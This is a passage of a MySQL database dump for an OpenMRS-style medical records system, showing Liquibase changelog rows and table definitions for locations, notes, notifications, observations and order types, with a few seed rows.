reporting_report_design to reference report definition\n by uuid rather than id, in order to not tie it directly to the serialized object table\n Drop report_definition_id column',NULL,'2.0.5'),('reporting_report_design_resource_1','mseaton','liquibase.xml','2016-10-27 07:13:13',10672,'EXECUTED','3:9b1f111c165c213fa2cecc37d87ed843','Create Table, Add Foreign Key Constraint (x4)','Create table to persist report design resources',NULL,'2.0.5'),('reporting_report_processor_1','mseaton','liquibase.xml','2016-10-27 07:13:15',10677,'EXECUTED','3:bc9b147af791381ff5a98a7786f7d638','Create Table, Add Foreign Key Constraint (x3)','Create tables to persist report processors',NULL,'2.0.5'),('reporting_report_processor_2','mseaton','liquibase.xml','2016-10-27 07:13:15',10678,'MARK_RAN','3:9060cd2b9fc7c9a24155302d97123fc8','Drop Table','Drop the reporting_report_request_processor table (creation of this table was done\n in the old sqldiff and not ported over to liquibase, as it is not needed. this\n changeset serves only to clean it up and delete it if is still exists',NULL,'2.0.5'),('reporting_report_processor_3','mseaton','liquibase.xml','2016-10-27 07:13:15',10679,'EXECUTED','3:2a2278e80933adb538d8c308eb812337','Add Column, Add Foreign Key Constraint','Update reporting_report_processor table to have report_design_id column',NULL,'2.0.5'),('reporting_report_processor_4','mseaton','liquibase.xml','2016-10-27 07:13:15',10680,'EXECUTED','3:3073b9e397f194eb5f16906f36e9c474','Add Column, Custom SQL','Update reporting_report_processor table to have processor_mode column\n and set the value to automatic for all processors that were previously created',NULL,'2.0.5'),('reporting_report_request_1','mseaton','liquibase.xml','2016-10-27 07:13:14',10673,'EXECUTED','3:4d336ce27e1366ee39ea2b0c069e4491','Create Table, Add Foreign Key Constraint','Create tables to persist a report request and save reports',NULL,'2.0.5'),('reporting_report_request_2','mseaton','liquibase.xml','2016-10-27 07:13:14',10674,'EXECUTED','3:90834d1a3dc8b3c1f4109579c9a5b954','Add Column','Add a schedule property to ReportRequest',NULL,'2.0.5'),('reporting_report_request_3','mseaton','liquibase.xml','2016-10-27 07:13:14',10675,'EXECUTED','3:8e88f53150534221e9c32cd0e2c94706','Add Column','Add processAutomatically boolean to ReportRequest',NULL,'2.0.5'),('reporting_report_request_4','mseaton','liquibase.xml','2016-10-27 07:13:14',10676,'EXECUTED','3:e93012ef325cc3aff1c92f0ba78424a8','Add Column','Add minimum_days_to_preserve property to ReportRequest',NULL,'2.0.5'),('scheduletracker-2015-09-09-1','maimoonak','liquibase.xml','2016-10-27 07:13:18',10684,'EXECUTED','3:fb6fea23ba7e9664cf7d28010de7ec32','Create Table','Creating the scheduletracker_dependency_type table',NULL,'2.0.5'),('scheduletracker-2015-09-09-2','maimoonak','liquibase.xml','2016-10-27 07:13:18',10685,'EXECUTED','3:e915b7722d2533fbe54cdb03719729ad','Create Table','Creating the scheduletracker_schedule table',NULL,'2.0.5'),('scheduletracker-2015-09-09-3','maimoonak','liquibase.xml','2016-10-27 07:13:18',10686,'EXECUTED','3:0604f4f6a916877192bf1937ce632956','Create Table','Creating the scheduletracker_dependency table',NULL,'2.0.5'),('scheduletracker-2015-09-09-4','maimoonak','liquibase.xml','2016-10-27 07:13:18',10687,'EXECUTED','3:f969fd20f60da3865e8ed7c470209197','Create Table','Creating the scheduletracker_milestone table',NULL,'2.0.5'),('scheduletracker-2015-09-09-5','maimoonak','liquibase.xml','2016-10-27 07:13:18',10688,'EXECUTED','3:5ae340bf0b046de28904e4e4faecd804','Create Table','Creating the scheduletracker_track table',NULL,'2.0.5'),('scheduletracker-2015-09-09-6','maimoonak','liquibase.xml','2016-10-27 07:13:18',10689,'EXECUTED','3:060fef654549edfd4e429c31115f3b9d','Create Table','Creating the scheduletracker_track_milestone table',NULL,'2.0.5'),('scheduletracker-2015-09-09-7','maimoonak','liquibase.xml','2016-10-27 07:13:18',10690,'EXECUTED','3:7062bc8e5bb0953f1e62df36bc1c6ba0','Custom SQL','Inserting basic dependency types',NULL,'2.0.5'),('sync-20120327-1406','wyclif','liquibase.xml','2016-10-27 07:12:59',10633,'EXECUTED','3:11a1e2cabb93f6760f9e10ce0c458d6e','Modify Column','Changing the datatype of sync_import.error_message column to text',NULL,'2.0.5'),('sync-20120327-1407','wyclif','liquibase.xml','2016-10-27 07:12:59',10634,'EXECUTED','3:fd33559f31d96ad0dba149b4847dc5db','Modify Column','Changing the datatype of sync_server_record.error_message column to text',NULL,'2.0.5'),('teammodule-1.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:02',10635,'EXECUTED','3:175a315e4c391c7ce8e16ba6406a4c9c','Create Table','',NULL,'2.0.5'),('teammodule-2.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:02',10636,'EXECUTED','3:0f7e35ce744a2635099baa9a1294be81','Create Table','',NULL,'2.0.5'),('teammodule-3.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:03',10637,'EXECUTED','3:c074161c716a070641da468624e3dc90','Create Table','',NULL,'2.0.5'),('teammodule-4.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:03',10638,'EXECUTED','3:7387a6274255028111a9415688e3473b','Add Foreign Key Constraint','',NULL,'2.0.5'),('teammodule-5.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:03',10639,'EXECUTED','3:129d7ddc4453fa5bb745b68583eb3fb5','Add Foreign Key Constraint (x2)','',NULL,'2.0.5'),('teammodule-6.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:03',10640,'EXECUTED','3:11ef56d8c4a467bba4e126085d05ffa9','Add Foreign Key Constraint (x2)','',NULL,'2.0.5'),('teammodule-7.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:03',10641,'EXECUTED','3:cfb2455306bdbcc8144f38d0271136a6','Create Table','',NULL,'2.0.5'),('teammodule-8.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:04',10642,'EXECUTED','3:eb7ea683f7120f4fee99e950036bd2e6','Drop Primary Key, Add Primary Key','',NULL,'2.0.5'),('teammodule-9.1.0A','<NAME>','liquibase.xml','2016-10-27 07:13:04',10643,'EXECUTED','3:4361ffafb06d269ebe80bc145b5209ca','Add Foreign Key Constraint','',NULL,'2.0.5'),('uiframework-20120913-2055','wyclif','liquibase.xml','2016-10-27 07:12:50',10624,'EXECUTED','3:af5797791243753415f969b558c9a917','Create Table','Adding uiframework_page_view table',NULL,'2.0.5'); /*!40000 ALTER TABLE `liquibasechangelog` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `liquibasechangeloglock` -- DROP TABLE IF EXISTS `liquibasechangeloglock`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `liquibasechangeloglock` ( `ID` int(11) NOT NULL, `LOCKED` tinyint(1) NOT NULL, `LOCKGRANTED` datetime DEFAULT NULL, `LOCKEDBY` varchar(255) DEFAULT NULL, PRIMARY KEY (`ID`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `liquibasechangeloglock` -- LOCK TABLES `liquibasechangeloglock` WRITE; /*!40000 ALTER TABLE `liquibasechangeloglock` DISABLE KEYS */; INSERT INTO `liquibasechangeloglock` VALUES (1,0,NULL,NULL); /*!40000 ALTER TABLE `liquibasechangeloglock` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `location` -- DROP TABLE IF EXISTS `location`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `location` ( `location_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL DEFAULT '', `description` varchar(255) DEFAULT NULL, `address1` varchar(255) DEFAULT NULL, `address2` varchar(255) DEFAULT NULL, `city_village` varchar(255) DEFAULT NULL, `state_province` varchar(255) DEFAULT NULL, `postal_code` varchar(50) DEFAULT NULL, `country` varchar(50) DEFAULT NULL, `latitude` varchar(50) DEFAULT NULL, `longitude` varchar(50) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `county_district` varchar(255) DEFAULT NULL, `address3` varchar(255) DEFAULT NULL, `address4` varchar(255) DEFAULT NULL, `address5` varchar(255) DEFAULT NULL, `address6` varchar(255) DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `parent_location` int(11) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, PRIMARY KEY (`location_id`), UNIQUE KEY `location_uuid_index` (`uuid`), KEY `name_of_location` (`name`), KEY `location_retired_status` (`retired`), KEY `user_who_created_location` (`creator`), KEY `user_who_retired_location` (`retired_by`), KEY `parent_location` (`parent_location`), KEY `location_changed_by` (`changed_by`), CONSTRAINT `location_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `parent_location` FOREIGN KEY (`parent_location`) REFERENCES `location` (`location_id`), CONSTRAINT `user_who_created_location` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_location` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `location` -- LOCK TABLES `location` WRITE; /*!40000 ALTER TABLE `location` DISABLE KEYS */; INSERT INTO `location` VALUES (1,'Unknown Location',NULL,'','','','','','',NULL,NULL,1,'2005-09-22 00:00:00',NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,'8d6c993e-c2cc-11de-8d13-0010c6dffd0f',NULL,NULL); /*!40000 ALTER TABLE `location` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `location_attribute` -- DROP TABLE IF EXISTS `location_attribute`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `location_attribute` ( `location_attribute_id` int(11) NOT NULL AUTO_INCREMENT, `location_id` int(11) NOT NULL, `attribute_type_id` int(11) NOT NULL, `value_reference` text NOT NULL, `uuid` char(38) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`location_attribute_id`), UNIQUE KEY `uuid` (`uuid`), KEY `location_attribute_location_fk` (`location_id`), KEY `location_attribute_attribute_type_id_fk` (`attribute_type_id`), KEY `location_attribute_creator_fk` (`creator`), KEY `location_attribute_changed_by_fk` (`changed_by`), KEY `location_attribute_voided_by_fk` (`voided_by`), CONSTRAINT `location_attribute_attribute_type_id_fk` FOREIGN KEY (`attribute_type_id`) REFERENCES `location_attribute_type` (`location_attribute_type_id`), CONSTRAINT `location_attribute_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `location_attribute_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `location_attribute_location_fk` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`), CONSTRAINT `location_attribute_voided_by_fk` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `location_attribute` -- LOCK TABLES `location_attribute` WRITE; /*!40000 ALTER TABLE `location_attribute` DISABLE KEYS */; /*!40000 ALTER TABLE `location_attribute` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `location_attribute_type` -- DROP TABLE IF EXISTS `location_attribute_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `location_attribute_type` ( `location_attribute_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1024) DEFAULT NULL, `datatype` varchar(255) DEFAULT NULL, `datatype_config` text, `preferred_handler` varchar(255) DEFAULT NULL, `handler_config` text, `min_occurs` int(11) NOT NULL, `max_occurs` int(11) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`location_attribute_type_id`), UNIQUE KEY `uuid` (`uuid`), UNIQUE KEY `location_attribute_type_unique_name` (`name`), KEY `location_attribute_type_creator_fk` (`creator`), KEY `location_attribute_type_changed_by_fk` (`changed_by`), KEY `location_attribute_type_retired_by_fk` (`retired_by`), CONSTRAINT `location_attribute_type_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `location_attribute_type_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `location_attribute_type_retired_by_fk` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `location_attribute_type` -- LOCK TABLES `location_attribute_type` WRITE; /*!40000 ALTER TABLE `location_attribute_type` DISABLE KEYS */; /*!40000 ALTER TABLE `location_attribute_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `location_tag` -- DROP TABLE IF EXISTS `location_tag`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `location_tag` ( `location_tag_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) NOT NULL, `description` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, PRIMARY KEY (`location_tag_id`), UNIQUE KEY `location_tag_uuid_index` (`uuid`), KEY `location_tag_creator` (`creator`), KEY `location_tag_retired_by` (`retired_by`), KEY `location_tag_changed_by` (`changed_by`), CONSTRAINT `location_tag_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `location_tag_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `location_tag_retired_by` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `location_tag` -- LOCK TABLES `location_tag` WRITE; /*!40000 ALTER TABLE `location_tag` DISABLE KEYS */; /*!40000 ALTER TABLE `location_tag` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `location_tag_map` -- DROP TABLE IF EXISTS `location_tag_map`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `location_tag_map` ( `location_id` int(11) NOT NULL, `location_tag_id` int(11) NOT NULL, PRIMARY KEY (`location_id`,`location_tag_id`), KEY `location_tag_map_tag` (`location_tag_id`), CONSTRAINT `location_tag_map_location` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`), CONSTRAINT `location_tag_map_tag` FOREIGN KEY (`location_tag_id`) REFERENCES `location_tag` (`location_tag_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `location_tag_map` -- LOCK TABLES `location_tag_map` WRITE; /*!40000 ALTER TABLE `location_tag_map` DISABLE KEYS */; /*!40000 ALTER TABLE `location_tag_map` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `member_location` -- DROP TABLE IF EXISTS `member_location`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `member_location` ( `team_member_id` int(11) NOT NULL, `location_id` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`team_member_id`,`location_id`), KEY `fk_member_location_id` (`location_id`), CONSTRAINT `fk_location_member_id` FOREIGN KEY (`team_member_id`) REFERENCES `team_member` (`team_member_id`), CONSTRAINT `fk_member_location_id` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `member_location` -- LOCK TABLES `member_location` WRITE; /*!40000 ALTER TABLE `member_location` DISABLE KEYS */; /*!40000 ALTER TABLE `member_location` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `note` -- DROP TABLE IF EXISTS `note`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `note` ( `note_id` int(11) NOT NULL DEFAULT '0', `note_type` varchar(50) DEFAULT NULL, `patient_id` int(11) DEFAULT NULL, `obs_id` int(11) DEFAULT NULL, `encounter_id` int(11) DEFAULT NULL, `text` text NOT NULL, `priority` int(11) DEFAULT NULL, `parent` int(11) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`note_id`), UNIQUE KEY `note_uuid_index` (`uuid`), KEY `user_who_changed_note` (`changed_by`), KEY `user_who_created_note` (`creator`), KEY `encounter_note` (`encounter_id`), KEY `obs_note` (`obs_id`), KEY `note_hierarchy` (`parent`), KEY `patient_note` (`patient_id`), CONSTRAINT `encounter_note` FOREIGN KEY (`encounter_id`) REFERENCES `encounter` (`encounter_id`), CONSTRAINT `note_hierarchy` FOREIGN KEY (`parent`) REFERENCES `note` (`note_id`), CONSTRAINT `obs_note` FOREIGN KEY (`obs_id`) REFERENCES `obs` (`obs_id`), CONSTRAINT `patient_note` FOREIGN KEY (`patient_id`) REFERENCES `patient` (`patient_id`) ON UPDATE CASCADE, CONSTRAINT `user_who_changed_note` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_created_note` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `note` -- LOCK TABLES `note` WRITE; /*!40000 ALTER TABLE `note` DISABLE KEYS */; /*!40000 ALTER TABLE `note` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `notification_alert` -- DROP TABLE IF EXISTS `notification_alert`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `notification_alert` ( `alert_id` int(11) NOT NULL AUTO_INCREMENT, `text` varchar(512) NOT NULL, `satisfied_by_any` tinyint(1) NOT NULL DEFAULT '0', `alert_read` tinyint(1) NOT NULL DEFAULT '0', `date_to_expire` datetime DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`alert_id`), UNIQUE KEY `notification_alert_uuid_index` (`uuid`), KEY `alert_date_to_expire_idx` (`date_to_expire`), KEY `user_who_changed_alert` (`changed_by`), KEY `alert_creator` (`creator`), CONSTRAINT `alert_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_changed_alert` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `notification_alert` -- LOCK TABLES `notification_alert` WRITE; /*!40000 ALTER TABLE `notification_alert` DISABLE KEYS */; /*!40000 ALTER TABLE `notification_alert` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `notification_alert_recipient` -- DROP TABLE IF EXISTS `notification_alert_recipient`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `notification_alert_recipient` ( `alert_id` int(11) NOT NULL, `user_id` int(11) NOT NULL, `alert_read` tinyint(1) NOT NULL DEFAULT '0', `date_changed` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, `uuid` char(38) NOT NULL, PRIMARY KEY (`alert_id`,`user_id`), KEY `alert_read_by_user` (`user_id`), CONSTRAINT `alert_read_by_user` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`), CONSTRAINT `id_of_alert` FOREIGN KEY (`alert_id`) REFERENCES `notification_alert` (`alert_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `notification_alert_recipient` -- LOCK TABLES `notification_alert_recipient` WRITE; /*!40000 ALTER TABLE `notification_alert_recipient` DISABLE KEYS */; /*!40000 ALTER TABLE `notification_alert_recipient` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `notification_template` -- DROP TABLE IF EXISTS `notification_template`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `notification_template` ( `template_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) DEFAULT NULL, `template` text, `subject` varchar(100) DEFAULT NULL, `sender` varchar(255) DEFAULT NULL, `recipients` varchar(512) DEFAULT NULL, `ordinal` int(11) DEFAULT '0', `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`template_id`), UNIQUE KEY `notification_template_uuid_index` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `notification_template` -- LOCK TABLES `notification_template` WRITE; /*!40000 ALTER TABLE `notification_template` DISABLE KEYS */; /*!40000 ALTER TABLE `notification_template` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `obs` -- DROP TABLE IF EXISTS `obs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `obs` ( `obs_id` int(11) NOT NULL AUTO_INCREMENT, `person_id` int(11) NOT NULL, `concept_id` int(11) NOT NULL DEFAULT '0', `encounter_id` int(11) DEFAULT NULL, `order_id` int(11) DEFAULT NULL, `obs_datetime` datetime NOT NULL, `location_id` int(11) DEFAULT NULL, `obs_group_id` int(11) DEFAULT NULL, `accession_number` varchar(255) DEFAULT NULL, `value_group_id` int(11) DEFAULT NULL, `value_boolean` tinyint(1) DEFAULT NULL, `value_coded` int(11) DEFAULT NULL, `value_coded_name_id` int(11) DEFAULT NULL, `value_drug` int(11) DEFAULT NULL, `value_datetime` datetime DEFAULT NULL, `value_numeric` double DEFAULT NULL, `value_modifier` varchar(2) DEFAULT NULL, `value_text` text, `value_complex` varchar(255) DEFAULT NULL, `comments` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `previous_version` int(11) DEFAULT NULL, `form_namespace_and_path` varchar(255) DEFAULT NULL, PRIMARY KEY (`obs_id`), UNIQUE KEY `obs_uuid_index` (`uuid`), KEY `obs_datetime_idx` (`obs_datetime`), KEY `obs_concept` (`concept_id`), KEY `obs_enterer` (`creator`), KEY `encounter_observations` (`encounter_id`), KEY `obs_location` (`location_id`), KEY `obs_grouping_id` (`obs_group_id`), KEY `obs_order` (`order_id`), KEY `person_obs` (`person_id`), KEY `answer_concept` (`value_coded`), KEY `obs_name_of_coded_value` (`value_coded_name_id`), KEY `answer_concept_drug` (`value_drug`), KEY `user_who_voided_obs` (`voided_by`), KEY `previous_version` (`previous_version`), CONSTRAINT `answer_concept` FOREIGN KEY (`value_coded`) REFERENCES `concept` (`concept_id`), CONSTRAINT `answer_concept_drug` FOREIGN KEY (`value_drug`) REFERENCES `drug` (`drug_id`), CONSTRAINT `encounter_observations` FOREIGN KEY (`encounter_id`) REFERENCES `encounter` (`encounter_id`), CONSTRAINT `obs_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `obs_enterer` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `obs_grouping_id` FOREIGN KEY (`obs_group_id`) REFERENCES `obs` (`obs_id`), CONSTRAINT `obs_location` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`), CONSTRAINT `obs_name_of_coded_value` FOREIGN KEY (`value_coded_name_id`) REFERENCES `concept_name` (`concept_name_id`), CONSTRAINT `obs_order` FOREIGN KEY (`order_id`) REFERENCES `orders` (`order_id`), CONSTRAINT `person_obs` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`) ON UPDATE CASCADE, CONSTRAINT `previous_version` FOREIGN KEY (`previous_version`) REFERENCES `obs` (`obs_id`), CONSTRAINT `user_who_voided_obs` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `obs` -- LOCK TABLES `obs` WRITE; /*!40000 ALTER TABLE `obs` DISABLE KEYS */; /*!40000 ALTER TABLE `obs` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `order_frequency` -- DROP TABLE IF EXISTS `order_frequency`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `order_frequency` ( `order_frequency_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) NOT NULL, `frequency_per_day` double DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`order_frequency_id`), UNIQUE KEY `uuid` (`uuid`), UNIQUE KEY `concept_id` (`concept_id`), KEY `order_frequency_creator_fk` (`creator`), KEY `order_frequency_retired_by_fk` (`retired_by`), KEY `order_frequency_changed_by_fk` (`changed_by`), CONSTRAINT `order_frequency_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `order_frequency_concept_id_fk` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `order_frequency_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `order_frequency_retired_by_fk` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `order_frequency` -- LOCK TABLES `order_frequency` WRITE; /*!40000 ALTER TABLE `order_frequency` DISABLE KEYS */; /*!40000 ALTER TABLE `order_frequency` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `order_type` -- DROP TABLE IF EXISTS `order_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `order_type` ( `order_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL DEFAULT '', `description` text, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `java_class_name` varchar(255) NOT NULL, `parent` int(11) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, PRIMARY KEY (`order_type_id`), UNIQUE KEY `name` (`name`), UNIQUE KEY `order_type_uuid_index` (`uuid`), KEY `order_type_retired_status` (`retired`), KEY `type_created_by` (`creator`), KEY `user_who_retired_order_type` (`retired_by`), KEY `order_type_changed_by` (`changed_by`), KEY `order_type_parent_order_type` (`parent`), CONSTRAINT `order_type_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `order_type_parent_order_type` FOREIGN KEY (`parent`) REFERENCES `order_type` (`order_type_id`), CONSTRAINT `type_created_by` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_order_type` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `order_type` -- LOCK TABLES `order_type` WRITE; /*!40000 ALTER TABLE `order_type` DISABLE KEYS */; INSERT INTO `order_type` VALUES (2,'Drug Order','An order for a medication to be given to the patient',1,'2010-05-12 00:00:00',0,NULL,NULL,NULL,'131168f4-15f5-102d-96e4-000c29c2a5d7','org.openmrs.DrugOrder',NULL,NULL,NULL),(3,'Test Order','Order type for test orders',1,'2014-03-09 00:00:00',0,NULL,NULL,NULL,'52a447d3-a64a-11e3-9aeb-50e549534c5e','org.openmrs.TestOrder',NULL,NULL,NULL); /*!40000 ALTER TABLE 